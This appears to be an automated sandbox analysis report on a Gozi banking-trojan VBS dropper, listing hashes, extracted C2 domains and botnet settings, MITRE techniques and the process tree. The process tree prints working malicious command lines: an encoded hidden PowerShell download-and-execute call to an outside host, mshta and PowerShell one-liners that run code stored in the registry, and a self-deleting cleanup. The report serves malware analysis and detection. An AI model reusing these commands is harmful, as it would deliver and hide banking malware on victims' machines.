gozi | e7e9df4507c4491b0d533fbfcca44579f7fad5db87f7b10f8cbbfc31b6679bfc

General

Target

8ad4fd0c0b88ab0d825bcd3d5bea86232dbebbf41f0b3b8de78d5c77eb2de9c6.vbs
Size

22KB
MD5

3dd859f7aa6f95b80aae2c7c4b5eaaf9
SHA1

3ef2f7246e9dee40ca9b6a7ecc0b5c7568367e80
SHA256

8ad4fd0c0b88ab0d825bcd3d5bea86232dbebbf41f0b3b8de78d5c77eb2de9c6
SHA512

9552049edd58c22dac6f081c110eaebbcc23f0c28e3544c8387da5a1be376fbf0b7c777a95bc1277c5246f8588be7632fd9f335d428bdc58864c870d04d9f994
SSDEEP

384:GOjk+QtGIKg7ETp2FHIKIGZVgXFpmcMYqYaGmPUVdE/MMMWm4qVuAL:I9eYjTT//0MjgVuAL

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://communicalink.com/index.php

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

mifrutty.com

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Extracted

Family

gozi

Botnet

5050

C2

http://igrovdow.com

Attributes

base_path
/pictures/
build
250260
exe_type
worker
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

16 5008 powershell.exe

flow	pid	process
16	5008	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exemshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

Processes:

IGLae.exe

pid process

3620 IGLae.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

cmd.exe

description pid process target process

PID 812 set thread context of 5096 812 cmd.exe PING.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3568 3620 WerFault.exe IGLae.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5096 PING.EXE
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

PING.EXE

pid process

5096 PING.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeIGLae.exe

pid process

5008 powershell.exe
5008 powershell.exe
3620 IGLae.exe
3620 IGLae.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

cmd.exe

pid process

812 cmd.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5008 powershell.exe

pid	process
3620	IGLae.exe

description	pid	process	target process
PID 812 set thread context of 5096	812	cmd.exe	PING.EXE

pid	pid_target	process	target process
3568	3620	WerFault.exe	IGLae.exe

pid	process
5096	PING.EXE

pid	process
5096	PING.EXE

pid	process
5008	powershell.exe
5008	powershell.exe
3620	IGLae.exe
3620	IGLae.exe

pid	process
812	cmd.exe

description	pid	process
Token: SeDebugPrivilege	5008	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.execmd.exepowershell.exemshta.execsc.execsc.execmd.exe

description	pid	process	target process
PID 3316 wrote to memory of 4124	3316	WScript.exe	cmd.exe
PID 3316 wrote to memory of 4124	3316	WScript.exe	cmd.exe
PID 4124 wrote to memory of 5008	4124	cmd.exe	powershell.exe
PID 4124 wrote to memory of 5008	4124	cmd.exe	powershell.exe
PID 5008 wrote to memory of 3620	5008	powershell.exe	IGLae.exe
PID 5008 wrote to memory of 3620	5008	powershell.exe	IGLae.exe
PID 5008 wrote to memory of 3620	5008	powershell.exe	IGLae.exe
PID 5060 wrote to memory of 632	5060	mshta.exe	powershell.exe
PID 5060 wrote to memory of 632	5060	mshta.exe	powershell.exe
PID 4524 wrote to memory of 3308	4524	csc.exe	cvtres.exe
PID 4524 wrote to memory of 3308	4524	csc.exe	cvtres.exe
PID 1344 wrote to memory of 4948	1344	csc.exe	cvtres.exe
PID 1344 wrote to memory of 4948	1344	csc.exe	cvtres.exe
PID 812 wrote to memory of 5096	812	cmd.exe	PING.EXE
PID 812 wrote to memory of 5096	812	cmd.exe	PING.EXE
PID 812 wrote to memory of 5096	812	cmd.exe	PING.EXE
PID 812 wrote to memory of 5096	812	cmd.exe	PING.EXE
PID 812 wrote to memory of 5096	812	cmd.exe	PING.EXE

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8ad4fd0c0b88ab0d825bcd3d5bea86232dbebbf41f0b3b8de78d5c77eb2de9c6.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3316

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG0AbQB1AG4AaQBjAGEAbABpAG4AawAuAGMAbwBtAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==
2⤵
- Suspicious use of WriteProcessMemory
PID:4124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG0AbQB1AG4AaQBjAGEAbABpAG4AawAuAGMAbwBtAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5008

C:\Users\Admin\AppData\Local\Temp\IGLae.exe
"C:\Users\Admin\AppData\Local\Temp\IGLae.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3620 -s 472
5⤵
- Program crash
PID:3568

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Tli6='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Tli6).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\2B8EB0FA-8E4D-9577-F08F-A2992433F6DD\\\LinkActive'));if(!window.flag)close()</script>"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name qqffurbc -value gp; new-alias -name inorskcfl -value iex; inorskcfl ([System.Text.Encoding]::ASCII.GetString((qqffurbc "HKCU:Software\AppDataLow\Software\Microsoft\2B8EB0FA-8E4D-9577-F08F-A2992433F6DD").PlayPlay))
2⤵
PID:632

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\typks0nw\typks0nw.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:4524

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEFA0.tmp" "c:\Users\Admin\AppData\Local\Temp\typks0nw\CSCA6B29E7117D34C76817275B39401F4E.TMP"
4⤵
PID:3308

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4xev0lq4\4xev0lq4.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF08A.tmp" "c:\Users\Admin\AppData\Local\Temp\4xev0lq4\CSC40E926FB11EF4E49828B4B7C98FC8B22.TMP"
4⤵
PID:4948

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\IGLae.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:812

C:\Windows\system32\PING.EXE
ping localhost -n 5
2⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:5096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3620 -ip 3620
1⤵
PID:2240

C:\Windows\syswow64\cmd.exe
"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
1⤵
PID:4444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\IGLae.exe

Filesize
274KB

MD5
d18f3fecf6d28ddd0f4cf4a9b53c0aec

SHA1
05263b9ec69fcf48cc71443ba23545fabe21df12

SHA256
911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4

SHA512
4629ce7f35716bd2c0fc3c14104251c6b2f3eaf07f7b35cf181654d6bc9be85bda6cb6f802b00f98c6bbb446db4790940605dcf8f8d6391282281ac029ff0512

Download Submit
C:\Users\Admin\AppData\Local\Temp\IGLae.exe

Filesize
274KB

MD5
d18f3fecf6d28ddd0f4cf4a9b53c0aec

SHA1
05263b9ec69fcf48cc71443ba23545fabe21df12

SHA256
911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4

SHA512
4629ce7f35716bd2c0fc3c14104251c6b2f3eaf07f7b35cf181654d6bc9be85bda6cb6f802b00f98c6bbb446db4790940605dcf8f8d6391282281ac029ff0512

Download Submit
C:\Users\Admin\AppData\Local\Temp\IGLae.exe

Filesize
274KB

MD5
d18f3fecf6d28ddd0f4cf4a9b53c0aec

SHA1
05263b9ec69fcf48cc71443ba23545fabe21df12

SHA256
911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4

SHA512
4629ce7f35716bd2c0fc3c14104251c6b2f3eaf07f7b35cf181654d6bc9be85bda6cb6f802b00f98c6bbb446db4790940605dcf8f8d6391282281ac029ff0512

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESEFA0.tmp

Filesize
1KB

MD5
5b6a0f6d248ced98fc9862a398f2ff7e

SHA1
c288fce24fc68220b50c52ae8b17229c75ad6190

SHA256
cc4d10b9d9e6aedbdf3c6823010c8014f1bf16ad18740364ae93f0d497307443

SHA512
65f5852c521abf50b4342d07efb2c41ef6d2e66b1ee2909aa1beec63b7914e30477528c6497aed9e459b465cb207dc1a4a623ac480a8bc0a15af3b9c1702e047

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESF08A.tmp

Filesize
1KB

MD5
2df6e9ed31a1ba8a0395c2192d5214b3

SHA1
0060250e0b29e71d2a6cb52d318d02e8b8b5a2db

SHA256
b1561237d4b3b914c1fe804527b3ce70256e94263bcf81d1628aae98b14885f4

SHA512
ee2b4a160026c03a2962393b583ec9cad21595d243ac60fbc0e42f7ff405662dba02b1ee57640b96dff9a8c859ee3cc1fed6f93ca0ff909e5b8db40c5901923a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2akhyvoo.io4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\4xev0lq4\CSC40E926FB11EF4E49828B4B7C98FC8B22.TMP

Filesize
652B

MD5
b459436821c73ca4c3bf23480317c79c

SHA1
7ceb43fb9a73541ead623210658443aba6c0161c

SHA256
d48e48b6b8679f4e96bbd284431710e637018cd3347a530268120c90448c2774

SHA512
e09d60070b51defd451a29205e1f07c602f13d540122f8632b6057d156f42bea3b118c3eb2b39819cfef74e1be5f061af38ea689e0f4eabd02e0bf7c09afa02c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\typks0nw\CSCA6B29E7117D34C76817275B39401F4E.TMP

Filesize
652B

MD5
5ee24d9168e4f9f7c59777242c252f63

SHA1
11c05c965e34c4ff4b42718347683da06272bbda

SHA256
aa4e95213ca80d6b5fe7cbd5fbb0c7c1e0b2b291e8e711a227290eecb8f2177f

SHA512
4ed9b70bbc4dfb0acce0a3cb86a5e0823d27c9f51b235095ebfa381b5b9157d548011087d9736c60d0332f116bab8cee54634dca6e337f8e0d3b68d23087aa6c

Download Submit
memory/812-49-0x00000218F90B0000-0x00000218F9154000-memory.dmp

Filesize
656KB

Download
memory/3620-32-0x00000000025B0000-0x00000000026B0000-memory.dmp

Filesize
1024KB

Download
memory/3620-26-0x00000000025B0000-0x00000000026B0000-memory.dmp

Filesize
1024KB

Download
memory/3620-27-0x0000000002530000-0x000000000253B000-memory.dmp

Filesize
44KB

Download
memory/3620-28-0x0000000000400000-0x000000000228B000-memory.dmp

Filesize
30.5MB

Download
memory/3620-29-0x0000000002560000-0x000000000256D000-memory.dmp

Filesize
52KB

Download
memory/3620-62-0x0000000000400000-0x000000000228B000-memory.dmp

Filesize
30.5MB

Download
memory/3620-33-0x0000000000400000-0x000000000228B000-memory.dmp

Filesize
30.5MB

Download
memory/3620-34-0x0000000002530000-0x000000000253B000-memory.dmp

Filesize
44KB

Download
memory/4444-59-0x0000000000FE0000-0x0000000001078000-memory.dmp

Filesize
608KB

Download
memory/5008-0-0x0000012762E40000-0x0000012762E62000-memory.dmp

Filesize
136KB

Download
memory/5008-10-0x00007FF9BB190000-0x00007FF9BBC51000-memory.dmp

Filesize
10.8MB

Download
memory/5008-11-0x0000012762940000-0x0000012762950000-memory.dmp

Filesize
64KB

Download
memory/5008-12-0x0000012762940000-0x0000012762950000-memory.dmp

Filesize
64KB

Download
memory/5008-24-0x00007FF9BB190000-0x00007FF9BBC51000-memory.dmp

Filesize
10.8MB

Download
memory/5008-13-0x0000012762940000-0x0000012762950000-memory.dmp

Filesize
64KB

Download
memory/5096-55-0x00000247A9660000-0x00000247A9661000-memory.dmp

Filesize
4KB

Download
memory/5096-54-0x00000247A9860000-0x00000247A9904000-memory.dmp

Filesize
656KB

Download
memory/5096-63-0x00000247A9860000-0x00000247A9904000-memory.dmp

Filesize
656KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads